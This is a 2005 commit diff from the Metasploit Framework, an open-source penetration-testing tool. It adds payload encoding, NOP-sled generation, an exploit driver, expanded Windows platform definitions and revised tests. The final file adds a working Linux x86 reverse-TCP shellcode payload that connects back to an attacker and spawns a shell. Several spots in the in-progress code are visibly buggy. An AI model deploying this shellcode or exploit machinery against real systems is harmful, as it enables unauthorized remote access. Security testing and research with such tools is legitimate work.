1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-16 01:21:15 +02:00

worked on payload encoding, exploit driver wrapper, platforms updates, spoon would probably hate it

git-svn-id: file:///home/svn/incoming/trunk@2744 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Matt Miller 2005-07-13 18:06:12 +00:00
parent cc2c80586c
commit f1691c5470
20 changed files with 1046 additions and 142 deletions

View File

@ -1,9 +1,10 @@
- exploit kick-off
- payload generation
- generate payload for target
- encoder payload for target
- loop encoders on failure
- pad nops
- switch to x86 from ia32
- exploit kick-off
X - payload generation
X - generate payload for target
X - encoder payload for target
X - loop encoders on failure
X - pad nops
- handler init
- setup handler
- start handler

View File

@ -63,7 +63,8 @@ class Payload
((ds = payload.datastore.to_s) and ds.length > 0) ? ds += "\n" : ds = ''
buf = Buffer.comment(
"#{payload.refname} - #{len} bytes - http://www.metasploit.com\n" +
"#{payload.refname} - #{len} bytes\n" +
"http://www.metasploit.com\n" +
"#{ds}" +
((opts['Encoder']) ? "Encoder=" + opts['Encoder'].refname + "\n" : ''), fmt) + buf
end

View File

@ -20,10 +20,9 @@ require 'msf/core/data_store'
require 'msf/core/option_container'
# Framework context and core classes
require 'msf/core/module_manager'
require 'msf/core/framework'
require 'msf/core/session_manager'
require 'msf/core/session'
require 'msf/core/framework'
# Pseudo-modules
require 'msf/core/handler'

View File

@ -12,8 +12,8 @@ require 'msf/core/module/reference.rb.ut'
require 'msf/core/module/target.rb.ut'
require 'msf/core/exploit.rb.ut'
require 'msf/core/exploit/remote/tcp.rb.ut'
require 'msf/core/exploit/remote/dcerpc.rb.ut'
require 'msf/core/exploit/tcp.rb.ut'
require 'msf/core/exploit/dcerpc.rb.ut'
class Msf::TestSuite
def self.suite

View File

@ -15,6 +15,13 @@ ARCH_IA32 = 'ia32'
ARCH_MIPS = 'mips'
ARCH_PPC = 'ppc'
ARCH_SPARC = 'sparc'
ARCH_TYPES =
[
ARCH_IA32,
ARCH_MIPS,
ARCH_PPC,
ARCH_SPARC
]
#
# Module types
@ -34,4 +41,14 @@ MODULE_TYPES =
MODULE_RECON
]
#
# Module rankings
#
LowRanking = 100
AverageRanking = 200
NormalRanking = 300
GoodRanking = 400
GreatRanking = 500
ExcellentRanking = 600
end

View File

@ -0,0 +1,205 @@
require 'msf/core'
module Msf
###
#
# EncodedPayload
# --------------
#
# This class wrappers an encoded payload buffer and the means used to create
# one.
#
###
class EncodedPayload
include Framework::Offspring
#
# Creates an encoded payload instance
#
def self.create(framework, pinst, reqs)
# Create the encoded payload instance
p = EncodedPayload.new(framework, pinst, reqs)
p.generate
return p
end
def initialize(framework, pinst, reqs)
self.framework = framework
self.pinst = pinst
self.reqs = reqs
end
#
# Generate the full encoded payload
#
def generate
raw = nil
encoded = nil
nop_sled_size = 0
nop_sled = nil
# Generate the raw version of the payload first
generate_raw()
# Encode the payload
encode()
# Build the NOP sled
generate_sled()
# Finally, set the complete payload definition
encoded = (nop_sled || '') + encoded
# Return the complete payload
return encoded
end
#
# Generates the raw payload from the payload instance. This populates the
# raw attribute.
#
def generate_raw
raw = (reqs['Prepend'] || '') + pisnt.generate + (reqs['Append'] || '')
end
#
# Scans for a compatible encoder using ranked precedence and populates the
# encoded attribute.
#
def encode
# If the exploit has bad characters, we need to run the list of encoders
# in ranked precedence and try to encode without them.
if (reqs['BadChars'])
pinst.compatible_encoders.each { |enc|
encoder = enc.new
# Try encoding with the current encoder
begin
p.encoded = encoder.encode(raw, reqs['BadChars'])
rescue
wlog("#{pinst.refname}: Failed to encode payload with encoder #{encoder.refname}: #{$!}",
'core', LEV_1)
end
# Minimum number of NOPs to use
min = reqs['MinNops'] || 0
# Check to see if we have enough room for the minimum requirements
if ((reqs['Space']) and
(reqs['Space'] < encoded.length + min))
wlog("#{pinst.refname}: Encoded payload version is too large with encoder #{encoder.refname}",
'core', LEV_1)
next
end
}
# If the encoded payload is nil, raise an exception saying that we
# suck at life.
if (encoded == nil)
raise NoEncodersSucceededError,
"#{pinst.refname}: All encoders failed to encode.",
caller
end
# If there are no bad characters, then the raw is the same as the
# encoded
else
encoded = raw
end
# Prefix the prepend encoder value
encoded = (reqs['PrependEncoder'] || '') + encoded
end
#
# Construct a NOP sled if necessary
#
def generate_sled
min = reqs['MinNops'] || 0
space = reqs['Space']
nop_sled_size = 0
# Calculate the number of NOPs to pad out the buffer with based on the
# requirements. If there was a space requirement, check to see if
# there's any room at all left for a sled.
if ((space) and
(space > encoded.length))
nop_sled_size = reqs['Space'] - encoded.length
end
# If the maximum number of NOPs has been exceeded, wrap it back down.
if ((reqs['MaxNops']) and
(reqs['MaxNops'] > sled_size))
nop_sled_size = reqs['MaxNops']
end
# Now construct the actual sled
if (nop_sled_size > 0)
pinst.compatible_nops.each { |nopmod|
# Create an instance of the nop module
nop = nopmod.new
begin
nop_sled = nop.generate_sled(nop_sled_size,
'BadChars' => reqs['BadChars'],
'SaveRegisters' => reqs['SaveRegisters'])
rescue
dlog("#{pinst.refname}: Nop generator #{nop.refname} failed to generate sled for payload: #{$!}",
'core', LEV_1)
end
}
if (nop_sled == nil)
raise NoNopsSucceededError,
"#{pinst.refname}: All NOP generators failed to construct sled for.",
caller
end
else
nop_sled = ''
end
return nop_sled
end
#
# The raw version of the payload
#
attr_reader :raw
#
# The encoded version of the raw payload plus the NOP sled
# if one was generated.
#
attr_reader :encoded
#
# The size of the NOP sled
#
attr_reader :nop_sled_size
#
# The NOP sled itself
#
attr_reader :nop_sled
protected
attr_writer :raw
attr_writer :encoded
attr_writer :nop_sled_size
attr_writer :nop_sled
attr_writer :payload
#
# The payload instance used to generate the payload
#
attr_accessor :pinst
#
# The requirements used for generation
#
attr_accessor :reqs
end
end

View File

@ -44,15 +44,19 @@ class OptionValidateError < ArgumentError
attr_reader :options
end
#####
#####
class ValidationError < ArgumentError
include Exception
def to_s
"One or more requirements could not be validated."
end
end
##
#
# Encoding exceptions
#
##
#####
#####
class EncodingError < RuntimeError
include Exception
@ -99,15 +103,18 @@ class BadcharError < EncodingError
attr_reader :buf, :index, :stub_size, :char
end
#####
#####
class NoEncodersSucceededError < EncodingError
def to_s
"No encoders encoded the buffer successfully."
end
end
##
#
# Exploit exceptions
#
##
#####
#####
module ExploitError
include Exception
@ -117,4 +124,57 @@ module ExploitError
end
end
class MissingTargetError < ArgumentError
include ExploitError
def to_s
"A target has not been selected."
end
end
class MissingPayloadError < ArgumentError
include ExploitError
def to_s
"A payload has not been selected."
end
end
class IncompatiblePayloadError < ArgumentError
include ExploitError
def initialize(pname = nil)
@pname = pname
end
def to_s
"#{pname} is not a compatible payload."
end
attr_reader :pname
end
##
#
# NOP exceptions
#
##
module NopError
include Exception
def to_s
"A NOP generator error occurred."
end
end
class NoNopsSucceededError < RuntimeError
include NopError
def to_s
"No NOP generators succeeded."
end
end
end

View File

@ -148,6 +148,42 @@ class Exploit < Msf::Module
def exploit
end
#
# Generates the encoded version of the supplied payload using the payload
# requirements specific to this exploit. The encoded instance is returned
# to the caller. This method is exposed in the manner that it is such
# that passive exploits and re-generate an encoded payload on the fly
# rather than having to use the pre-generated one.
#
# The return value is an EncodedPayload instance.
#
def generate_payload(pinst = nil)
if (target == nil)
raise MissingTargetError, "No target has been specified.",
caller
end
# If a payload instance was supplied, use it, otherwise
# use the active payload instance
real_payload = (pinst) ? pinst : self.active_payload
if (real_payload == nil)
raise MissingPayloadError, "No payload has been selected.",
caller
end
# Duplicate the exploit payload requirements
reqs = self.payload
# Pass save register requirements to the NOP generator
reqs['SaveRegisters'] = nop_save_registers
# Set the encoded payload to the result of the encoding process
encoded_payload = EncodedPayload.create(framework, real_payload, reqs)
return encoded_payload
end
##
#
# Feature detection
@ -308,9 +344,17 @@ class Exploit < Msf::Module
#
attr_reader :default_target
#
# The active payload instance.
# The payload requirement hash.
#
attr_reader :payload
#
# The active payload instance.
#
attr_accessor :active_payload
#
# The encoded payload instance.
#
attr_accessor :encoded_payload
protected

View File

@ -16,12 +16,10 @@ class Exploit::Remote::DCERPC::UnitTest < Test::Unit::TestCase
def test_tcp
e = Stub.new
assert_equal(4, e.options.length, "invalid options length")
assert_equal(2, e.options.length, "invalid options length")
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
assert_equal(135, e.options.get('RPORT').default, "invalid RPORT default")
assert_equal(false, e.options.get('LHOST').required?, "invalid LHOST requirement")
assert_equal(false, e.options.get('LPORT').required?, "invalid LPORT requirement")
end
end

View File

@ -16,11 +16,9 @@ class Exploit::Remote::Tcp::UnitTest < Test::Unit::TestCase
def test_tcp
e = Stub.new
assert_equal(4, e.options.length, "invalid options length")
assert_equal(2, e.options.length, "invalid options length")
assert_equal(true, e.options.get('RHOST').required?, "invalid RHOST requirement")
assert_equal(true, e.options.get('RPORT').required?, "invalid RPORT requirement")
assert_equal(false, e.options.get('LHOST').required?, "invalid LHOST requirement")
assert_equal(false, e.options.get('LPORT').required?, "invalid LPORT requirement")
end
end

View File

@ -0,0 +1,185 @@
require 'msf/core'
module Msf
###
#
# ExploitDriver
# -------------
#
# This class drives the exploitation process from start to finish for a given
# exploit module instance. It's responsible for payload generation, encoding,
# and padding as well as initialization handlers and finally launching the
# exploit.
#
###
class ExploitDriver
def initialize(framework)
self.payloads = {}
self.payload = nil
self.exploit = nil
self.target = nil
end
#
# Stores the supplied exploit as the active exploit and filters compatible
# payloads and architectures based on the exploit's target platform
# information.
#
def exploit=(exploit)
@exploit = exploit
filter_payloads
end
#
# Specification of the exploit target index
#
def target_idx=(target_idx)
# Make sure the target index is valid
if (target_idx >= exploit.targets.length)
raise Rex::ArgumentError, "Invalid target index.", caller
end
# Set the active target
target = exploit.targets[target_idx]
end
#
# Sets the active target instance for the specified exploit module. This
# causes the driver to filter payloads again.
#
def target=(target)
@target = target
filter_payloads
end
#
# Sets the active payload and performs one last sanity check
#
def payload=(payload)
# Don't allow payload selection to occur until a target has been
# specified.
if (target == nil)
raise MissingTargetError,
"A payload cannot be selected until a target is specified.",
caller
end
# Make sure the payload is compatible after all
if (compatible_payload?(payload) == false)
raise IncompatiblePayloadError.new(payload.refname),
"Incompatible payload", caller
end
@payload = payload
end
#
# Checks to see if the supplied payload is compatible with the
# current exploit.
#
def compatible_payload?(payload)
return ((payload.platform & exploit.platform).empty? == false)
end
##
#
# Exploit execution
#
##
#
# Makes sure everything's in tip-top condition prior to launching the
# exploit. For things that aren't good to go, an exception is thrown.
#
def validate
# First, validate that a target has been selected
if (target == nil)
raise MissingTargetError,
"A payload cannot be selected until a target is specified.",
caller
end
# Next, validate that a payload has been selected
if (payload == nil)
raise MissingPayloadError,
"A payload has not been selected.", caller
end
# Finally, validate options on the exploit module to ensure that things
# are ready to operate as they should.
exploit.options.validate()
return true
end
#
# Kicks off an exploitation attempt and performs the following four major
# operations:
#
# - Generates the payload
# - Initializes & monitors the handler
# - Launches the exploit
# - Cleans up the handler
#
def run
# First thing's first -- validate the state. Make sure all requirement
# parameters are set, including those that are derived from the
# datastore.
validate()
# After validation has occurred, it's time to set some values on the
# exploit instance and begin preparing the payload
exploit.target = target
# Generate the encoded version of the supplied payload on the exploit
# module instance
exploit.generate_payload(payload)
end
attr_reader :exploit
attr_reader :target
attr_reader :payloads
attr_reader :payload
protected
#
# Filters out compatible payloads based on the current
#
def filter_payloads
payloads = {}
# Enumerate each target for this exploit
exploit.targets.each { |curr_target|
# If there's an active target, then skip all other targets
next if (target && target != curr_target)
# Enumerate each payload module, intersecting the supported platforms
# to see if there is any match at all. If so, the payload name is
# added to the list of acceptable payloads.
framework.payloads.each_module(
'Platform' => target.platforms) { |name, pmod|
# If the payload's size is larger than the amount of available space,
# then we can't allow it
if (exploit.payload_space > 0 and
exploit.payload_space < framework.payloads.sizes[name])
dlog("Payload #{name} is too big for exploit #{exploit.refname} (#{exploit.payload_space} < #{framework.payloads.sizes[name]})",
'core', LEV_2)
next
end
payloads[name] = pmod
}
}
end
attr_writer :payloads
end
end

View File

@ -12,10 +12,22 @@ module Msf
#
###
class Framework
#
# Mixin meant to be included into all classes that can have instances that
# should be tied to the framework, such as modules.
#
module Offspring
attr_accessor :framework
end
require 'msf/core/module_manager'
def initialize()
self.events = EventDispatcher.new
self.modules = ModuleManager.new
self.events = EventDispatcher.new
self.modules = ModuleManager.new
self.modules.framework = self
end
#

View File

@ -18,9 +18,9 @@ class Module
# Make include public so we can runtime extend
public_class_method :include
UpdateableOptions = [ "Name", "Description", "Alias" ]
class <<self
include Framework::Offspring
#
# The module's name that is assigned it it by the framework
# or derived from the path that the module is loaded from.
@ -28,6 +28,13 @@ class Module
attr_accessor :refname
end
#
# Returns the class reference to the framework
#
def framework
return self.class.framework
end
require 'msf/core/module/author'
require 'msf/core/module/platform_list'
require 'msf/core/module/reference'
@ -173,14 +180,16 @@ class Module
protected
UpdateableOptions = [ "Name", "Description", "Alias" ]
# Sets the modules unsupplied info fields to their default values
def set_defaults
self.module_info = {
'Name' => 'No module name',
'Description' => 'No module description',
'Version' => '0',
'Author' => '',
'Arch' => '',
'Author' => nil,
'Arch' => nil,
'Platform' => '',
'Ref' => nil,
'Privileged' => false,

View File

@ -1,4 +1,4 @@
#!/usr/bin/ruby
require 'abbrev'
#
# This is the definitions of which Platforms the framework knows about. The
@ -12,6 +12,39 @@ class Msf::Module::Platform
# actually, having a argument of '' is what to do for wanting 'all'
Short = "all"
class <<self
attr_accessor :full_name
end
#
# Returns the "real" name of the module instance, accouting for potentially
# aliased class names.
#
def self.realname
# Use the cached version if one has been set
return full_name if (full_name)
# Otherwise, generate it and cache it
names = []
c = Msf::Module::Platform
name.split('::')[3 .. -1].each { |part|
c = c.const_get(part)
if (c.const_defined?('RealName') == true)
names << c.const_get('RealName')
else
names << part
end
}
full_name = names.join(' ')
end
#
# Calls the class method
#
def find_children
self.class.find_children
end
#
# The magic to try to build out a Platform from a string
#
@ -19,88 +52,264 @@ class Msf::Module::Platform
# remove any whitespace and downcase
str = str.gsub(' ', '').downcase
# Start at the base platform module
mod = Msf::Module::Platform
# Scan forward, trying to find the end module
while str.length > 0
mod, str = _find_short(mod, str)
mod, str = find_portion(mod, str)
end
return mod
end
def find_children
self.class.find_children
end
# this is useful a lot of places, and should go into some
# library somewhere, or something
#
# Finds all inherited children from a given module
#
def self.find_children
mod = self
mod.constants.map { |n| mod.const_get(n) }.
delete_if { |v| ! v.kind_of?(Class) || ! (v < mod) }
constants.map { |c|
const_get(c)
}.delete_if { |m|
!m.kind_of?(Class) || ! (m < self)
}.sort { |a, b|
a::Rank <=> b::Rank
}
end
# make private! I forget how! I suck!
def self._find_short(base, name)
# get a list of possible base classes, and sort them by
# their relative ranks to each other
poss = base.find_children.sort { |a, b| a::Rank <=> b::Rank }
#
# Builds the abbreviation set for every module starting from
# a given point
#
def self.build_child_platform_abbrev(mod)
# Flush out any non-class and non-inherited children
children = mod.find_children
# No children to speak of?
return if (children.length == 0)
if poss.empty?
raise ArgumentError, "No classes in #{base.to_s}!", caller
end
# Build the list of names & rankings
names = {}
ranked = {}
best = nil
bestlen = 0
children.map { |c|
name = c.name.split('::')[-1].downcase
poss.each { |c|
# Try to get the short "nick" name, aka win vs Windows.
# If there is no shortname, generate one and cache it.
# Generation is atmost the first 3 chars downcased..
# If the platform has an alias, such as a portion that may
# start with an integer, use that as the name
if (c.const_defined?('Alias'))
als = c.const_get('Alias').downcase
begin
short = c.const_get("Short")
# it was inherited...
if short == c.superclass.const_get("Short")
raise NameError
end
rescue NameError
short = c.const_set("Short", c.name.split('::')[-1][0, 3].downcase)
names[als] = c
ranked[als] = c::Rank
# If the platform has more than one alias, process the list
elsif (c.const_defined?('Aliases'))
c.const_get('Aliases').each { |a|
a = a.downcase
names[a] = c
ranked[a] = c::Rank
}
end
if short.length > bestlen && name[0, short.length] == short
best = [ c, name[short.length .. -1] ]
bestlen = short.length
names[name] = c
ranked[name] = c::Rank
}
# Calculate their abbreviations
abbrev = ::Abbrev::abbrev(names.keys)
# Set the ranked list and abbreviated list on this module,
# then walk the children
mod.const_set('Abbrev', abbrev)
mod.const_set('Ranks', ranked)
mod.const_set('Names', names)
end
#
# Finds the module that best matches the supplied string (or a portion of
# the string)
#
def self.find_portion(mod, str)
# Check to see if we've built the abbreviated cache
if (mod.const_defined?('Abbrev') == false)
build_child_platform_abbrev(mod)
end
abbrev = mod.const_get('Abbrev')
names = mod.const_get('Names')
ranks = mod.const_get('Ranks')
best = nil
bestlen = 0
bestmat = nil
bestrank = 0
# Walk through each abbreviation
abbrev.each { |a|
# If the abbreviation is too long, no sense in scanning it
next if (a[0].length > str.length)
# If the current abbreviation matches with the
# supplied string and is better than the previous
# best match length, use it, but only if it also
# has a higher rank than the previous match.
if ((a[0] == str[0, a[0].length]) and
(a[0].length > bestlen) and
(bestrank == nil or bestrank <= ranks[a[1]]))
best = [ names[a[1]], str[a[0].length .. -1] ]
bestlen = a[0].length
bestmat = a[0]
bestrank = ranks[a[1]]
end
}
if !best
# ok, no match, fall back on first ranked
best = [ poss[0], name ]
# If we couldn't find a best match at this stage, it's time to warn.
if (best == nil)
raise ArgumentError, "No classes in #{mod.to_s} for #{str}!", caller
end
return best
end
private_class_method :build_child_platform_abbrev
private_class_method :find_portion
class Windows < Msf::Module::Platform
Rank = 100
class X86 < Windows
Rank = 100
class XP < X86
Rank = 300
class SP0 < XP
Rank = 100
end
class SP1 < XP
Rank = 200
end
class SP2 < XP
Rank = 300
end
# Windows 95
class W95 < Windows
Rank = 100
Alias = "95"
RealName = "95"
end
# Windows 98
class W98 < Windows
Rank = 100
Alias = "98"
RealName = "98"
class FE < W98
Rank = 100
end
class SE < W98
Rank = 200
end
end
# Windows ME
class ME < Windows
Rank = 100
end
# Windows NT
class NT < Windows
Rank = 100
class SP0 < NT
Rank = 100
end
class SP1 < NT
Rank = 200
end
class SP2 < NT
Rank = 300
end
class SP3 < NT
Rank = 400
end
class SP4 < NT
Rank = 500
end
class SP5 < NT
Rank = 600
end
class SP6 < NT
Rank = 700
end
class SP6a < NT
Rank = 800
end
end
# Windows 2000
class W2000 < Windows
Rank = 200
Aliases = [ "2000", "2K" ]
RealName = "2000"
class SP0 < W2000
Rank = 100
end
class SP1 < W2000
Rank = 200
end
class SP2 < W2000
Rank = 300
end
class SP3 < W2000
Rank = 400
end
class SP4 < W2000
Rank = 500
end
end
# Windows XP
class XP < Windows
Rank = 300
class SP0 < XP
Rank = 100
end
class SP1 < XP
Rank = 200
end
class SP2 < XP
Rank = 300
end
end
# Windows 2003 Server
class W2003 < Windows
Rank = 400
Aliases = [ "2003", "2003 Server", "2K3" ]
RealName = "2003"
class SP0 < W2003
Rank = 100
end
class SP1 < W2003
Rank = 200
end
end
end
end
class Linux < Msf::Module::Platform
Rank = 100
Alias = "lnx"
end
class Solaris < Msf::Module::Platform
Rank = 100
end
class OSX < Msf::Module::Platform
Rank = 100
end
# Generic BSD
class BSD < Msf::Module::Platform
Rank = 100
end
class OpenBSD < Msf::Module::Platform
Rank = 100
end
class BSDi < Msf::Module::Platform
Rank = 100
end
class NetBSD < Msf::Module::Platform
Rank = 100
end
class FreeBSD < Msf::Module::Platform
Rank = 100
end
end

View File

@ -58,13 +58,23 @@ class Msf::Module::PlatformList
end
#
# Checks to see if the platform list is empty.
#
def empty?
return platforms.empty?
end
#
# Returns an array of names contained within this platform list.
#
def names
platforms.map { |m| m.name.split('::')[3 .. -1].join(' ') }
platforms.map { |m| m.realname }
end
#
# Symbolic check to see if this platform list represents 'all' platforms.
#
def all?
names.each do |name|
return true if name == ''
@ -72,8 +82,10 @@ class Msf::Module::PlatformList
return false
end
#
# Do I support plist (do I support all of they support?)
# use for matching say, an exploit and a payload
#
def supports?(plist)
plist.platforms.each { |pl|
supported = false

View File

@ -10,19 +10,21 @@ class Msf::Module::PlatformList::UnitTest < Test::Unit::TestCase
def test_range
assert_equal(
[ Msf::Module::Platform::Windows::X86::XP::SP0,
Msf::Module::Platform::Windows::X86::XP::SP1
[ Msf::Module::Platform::Windows::XP::SP0,
Msf::Module::Platform::Windows::XP::SP1
], Msf::Module::PlatformList.new('winxpsp0' .. 'winxpsp1').platforms
)
end
def test_names
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.new('winxpsp2').names)
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.new('winxpsp2').names)
end
def test_transform
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.transform('winxpsp2').names)
assert_equal([ 'Windows X86 XP SP2' ], Msf::Module::PlatformList.transform(['winxpsp2']).names)
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.transform('winxpsp2').names)
assert_equal([ 'Windows XP SP2' ], Msf::Module::PlatformList.transform(['winxpsp2']).names)
assert_equal([ 'Windows 2000 SP3' ], Msf::Module::PlatformList.transform(['win2000sp3']).names)
assert_equal([ 'Windows 2000 SP3' ], Msf::Module::PlatformList.transform(['win2ksp3']).names)
end
def test_all
@ -40,8 +42,8 @@ class Msf::Module::PlatformList::UnitTest < Test::Unit::TestCase
l1 = Msf::Module::PlatformList.new('win')
l2 = Msf::Module::PlatformList.new('win xp sp0', 'win xp sp2')
assert_equal(
[ Msf::Module::Platform::Windows::X86::XP::SP0,
Msf::Module::Platform::Windows::X86::XP::SP2
[ Msf::Module::Platform::Windows::XP::SP0,
Msf::Module::Platform::Windows::XP::SP2
], (l1 & l2).platforms
)

View File

@ -13,6 +13,9 @@ module Msf
#
###
class ModuleSet < Hash
include Framework::Offspring
def initialize(type = nil)
self.module_type = type
@ -21,46 +24,27 @@ class ModuleSet < Hash
self.mod_arch_hash = {}
self.mod_platform_hash = {}
self.mod_sorted = nil
self.mod_ranked = nil
end
# Create an instance of the supplied module by its name
def create(name)
klass = self[name]
return (klass) ? klass.new : nil
end
# Enumerates each module class in the set
def each_module(opts = {}, &block)
# Re-sort if the cached copy is out of date
mod_sorted = self.sort if (mod_sorted == nil)
each_module_list(mod_sorted, opts, &block)
end
mod_sorted.each { |entry|
name, mod = entry
def each_module_ranked(opts = {}, &block)
mod_ranked = rank_modules if (mod_ranked == nil)
# Filter out incompatible architectures
if (opts['arch'])
if (!mod_arch_hash[mod])
mod_arch_hash[mod] = mod.new.arch
end
next if (mod_arch_hash[mod].include?(opts['arch']) == false)
end
# Filter out incompatible platforms
if (opts['platform'])
if (!mod_platform_hash[mod])
mod_platform_hash[mod] = mod.new.platform
end
next if (mod_platform_hash[mod].include?(opts['platform']) == false)
end
# Custom filtering
next if (each_module_filter(opts, name, entry) == true)
block.call(name, mod)
}
each_module_list(mod_ranked, opts, &block)
end
#
@ -81,21 +65,87 @@ class ModuleSet < Hash
protected
#
# Enumerates the modules in the supplied array with possible limiting
# factors.
#
def each_module_list(ary, opts, &block)
ary.each { |entry|
name, mod = entry
# Filter out incompatible architectures
if (opts['Arch'])
if (!mod_arch_hash[mod])
mod_arch_hash[mod] = mod.new.arch
end
next if ((mod_arch_hash[mod] & opts['Arch']).empty? == true)
end
# Filter out incompatible platforms
if (opts['Platform'])
if (!mod_platform_hash[mod])
mod_platform_hash[mod] = mod.new.platform
end
next if ((mod_platform_hash[mod] & opts['Platform']).empty? == true)
end
# Custom filtering
next if (each_module_filter(opts, name, entry) == true)
block.call(name, mod)
}
end
#
# Ranks modules based on their constant rank value, if they have one.
#
def rank_modules
mod_ranked = self.sort { |a, b|
a_name, a_mod = a
b_name, b_mod = b
# Extract the ranking between the two modules
a_rank = a.const_defined?('Rank') ? a.const_get('Rank') : NormalRanking
b_rank = b.const_defined?('Rank') ? b.const_get('Rank') : NormalRanking
# Compare their relevant rankings. Since we want highest to lowest,
# we compare b_rank to a_rank in terms of higher/lower precedence
b_rank <=> a_rank
}
end
#
# Adds a module with a the supplied name
#
def add_module(module_class, name)
# Duplicate the module class so that we can operate on a
# framework-specific copy of it.
dup = module_class.dup
# Set the module's name so that it can be referenced when
# instances are created.
module_class.refname = name
dup.framework = framework
dup.refname = name
self[name] = module_class
self[name] = dup
# Invalidate the sorted array
invalidate_cache
end
#
# Invalidates the sorted and ranked module caches.
#
def invalidate_cache
mod_sorted = nil
mod_ranked = nil
end
attr_writer :module_type
attr_accessor :mod_arch_hash, :mod_platform_hash
attr_accessor :mod_sorted
attr_accessor :mod_sorted, :mod_ranked
end
@ -119,6 +169,8 @@ class ModuleManager < ModuleSet
require 'msf/core/payload_set'
include Framework::Offspring
def initialize()
self.module_paths = []
self.module_history = {}
@ -134,6 +186,9 @@ class ModuleManager < ModuleSet
end
self.module_sets[type] = instance
# Set the module set's framework reference
instance.framework = self.framework
}
super

View File

@ -20,27 +20,17 @@ class Payload < Msf::Module
# Platform specific includes
require 'msf/core/payload/windows'
#
# Payload types
#
module Type
Single = (1 << 0)
Stager = (1 << 1)
Stage = (1 << 2)
end
class <<self
end
def initialize(info = {})
super
# Initialize this payload as having an empty set of stagers
self.stagers = {}
end
#
# Indexes the stagers array
#
def [](key)
end
##
@ -49,41 +39,55 @@ class Payload < Msf::Module
#
##
#
# This module is a payload.
#
def type
return MODULE_PAYLOAD
end
#
# Returns the string of bad characters for this payload, if any.
#
def badchars
return self.module_info['BadChars']
end
#
# Returns the type of payload, either single or staged. Stage is
# the default because singles and stagers are encouraged to include
# the Single and Stager mixin which override the payload_type.
#
def payload_type
return Type::Stage
end
#
# Returns the payload's size. If the payload is staged, the size of the
# first stage is returned.
#
def size
return (generate() || '').length
end
#
# Returns the raw payload that has not had variable substitution occur.
#
def payload
return module_info['Payload']['Payload']
end
#
# Returns the offsets to variables that must be substitute, if any.
#
def offsets
return module_info['Payload']['Offsets']
end
#
# Return the connection associated with this payload, or none if there
# isn't one.
#
def handler
return module_info['Handler']
end
@ -94,7 +98,9 @@ class Payload < Msf::Module
#
##
#
# Generates the payload and return the raw buffer
#
def generate
raw = payload
@ -107,10 +113,12 @@ class Payload < Msf::Module
return raw
end
#
# Substitutes variables with values from the module's datastore in the
# supplied raw buffer for a given set of named offsets. For instance,
# RHOST is substituted with the RHOST value from the datastore which will
# have been populated by the framework.
#
def substitute_vars(raw, offsets)
offsets.each_pair { |name, info|
offset, pack = info
@ -139,21 +147,55 @@ class Payload < Msf::Module
}
end
#
# Replaces an individual variable in the supplied buffer at an offset
# using the given pack type. This is here to allow derived payloads
# the opportunity to replace advanced variables.
#
def replace_var(raw, name, offset, pack)
return false
end
##
#
# Shortcut methods for filtering compatible encoders
# and NOP sleds
#
##
#
# Returns the array of compatible encoders for this payload instance.
#
def compatible_encoders
encoders = []
framework.encoders.each_module_ranked(
'Arch' => self.arch) { |entry|
encoders << entry[1]
}
return encoders
end
#
# Returns the array of compatible nops for this payload instance.
#
def compatible_nops
nops = []
framework.nops.each_module_ranked(
'Arch' => self.arch) { |entry|
nops << entry[1]
}
return nops
end
# Payload prepending and appending for various situations
attr_accessor :prepend, :append, :prepend_encoder
attr_reader :stagers
protected
attr_writer :stagers
##
#
# Custom merge operations for payloads

View File

@ -47,6 +47,9 @@ class PayloadSet < ModuleSet
# Singles will simply point to the single payload class.
self.stages = {}
self.singles = {}
# Hash that caches the sizes of payloads
self.sizes = {}
end
#
@ -81,6 +84,9 @@ class PayloadSet < ModuleSet
# Add it to the set
add_single(p, name)
# Cache the payload's size
sizes[name] = p.new.size
}
# Recalculate stagers and stages
@ -126,6 +132,9 @@ class PayloadSet < ModuleSet
# Add the stage
add_stage(p, combined, stage_name, handler.handler_type)
# Cache the payload's size
sizes[combined] = p.new.size
}
}
end
@ -177,6 +186,8 @@ class PayloadSet < ModuleSet
# Adds a single payload to the set and adds it to the singles hash
#
def add_single(p, name)
p.framework = framework
# Associate this class with the single payload's name
self[name] = p
@ -194,6 +205,8 @@ class PayloadSet < ModuleSet
# using the supplied handler type.
#
def add_stage(p, full_name, stage_name, handler_type)
p.framework = framework
# Associate this stage's full name with the payload class in the set
self[full_name] = p
@ -210,7 +223,7 @@ class PayloadSet < ModuleSet
dlog("Built staged payload #{full_name}.", 'core', LEV_1)
end
attr_reader :stages, :singles
attr_reader :stages, :singles, :sizes
protected
@ -253,7 +266,7 @@ protected
end
attr_accessor :manager, :payload_type_modules
attr_writer :stages, :singles
attr_writer :stages, :singles, :sizes
end

View File

@ -0,0 +1,42 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module Msf
module Payloads
module Singles
module Linux
module Ia32
module Shell
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Version' => '$Revision$',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'skape',
'Platform' => 'linux',
'Arch' => ARCH_IA32,
'Handler' => Msf::Handler::ReverseTcp,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 0x1a, 'ADDR' ],
'LPORT' => [ 0x20, 'n' ],
},
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" +
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68" +
"\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" +
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" +
"\x89\xe1\xb0\x0b\xcd\x80"
}
))
end
end
end end end end end